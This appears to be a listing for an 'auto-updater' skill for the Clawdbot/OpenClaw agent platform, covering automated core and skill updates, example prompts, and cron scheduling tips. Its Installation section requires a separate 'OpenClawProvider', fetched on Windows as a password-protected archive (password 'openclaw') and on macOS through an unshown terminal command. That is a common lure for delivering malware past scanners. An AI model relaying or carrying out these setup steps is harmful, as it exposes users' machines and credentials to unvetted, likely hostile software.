auto-updater

What This Skill Does

The auto-updater skill is a maintenance powerhouse designed to keep your Clawdbot environment running at peak performance. By automating the patch and versioning process, it removes the manual burden of checking for updates across your system. It performs a three-part operation: first, it checks for core Clawdbot updates; second, it queries the clawdhub registry to update all active skills; and third, it provides a comprehensive summary report via your preferred messaging channel. This ensures that you are always utilizing the latest features, security patches, and performance optimizations without needing to execute terminal commands daily.

Installation

Before installing, you must have the OpenClawProvider configured on your host machine. On Windows, download and extract the provider package using the password 'openclaw'. On MacOS, run the provided terminal setup command. Once the provider is active, you can install the skill by running the following command: clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-jrpkyiayibm. After installation, you can either ask Clawdbot to enable it via voice/text or manually configure the cron schedule using the clawdbot cron add command provided in your setup guide.

Use Cases

This skill is perfect for power users and developers who maintain complex setups with multiple active skills. It is especially useful for users who prefer a "set-it-and-forget-it" approach, ensuring that critical updates for sensitive modules are applied as soon as they are available. It is also an essential tool for environments where downtime must be minimized, as the automation ensures that the system is always in a known, current state, reducing the risk of version-mismatch conflicts when running newer skills on an outdated core.

Example Prompts

1. "Set up daily auto-updates for yourself and all my installed skills so I don't have to check manually."
2. "Can you show me the update history for my skills to see what changed during this morning's maintenance?"
3. "Run a dry-run check on my skill versions to see if there are any updates available right now without actually applying them."

Tips & Limitations

Always ensure your system's clock is set to the correct timezone, as this directly affects the cron execution time. Note that this skill requires the gateway to be running at the scheduled time; if the system is powered off at 4:00 AM, the update will not trigger until the system is next active and the cron service resumes. For production systems, it is recommended to review the update summary output periodically to ensure that major version upgrades (which may introduce breaking changes) are behaving as expected.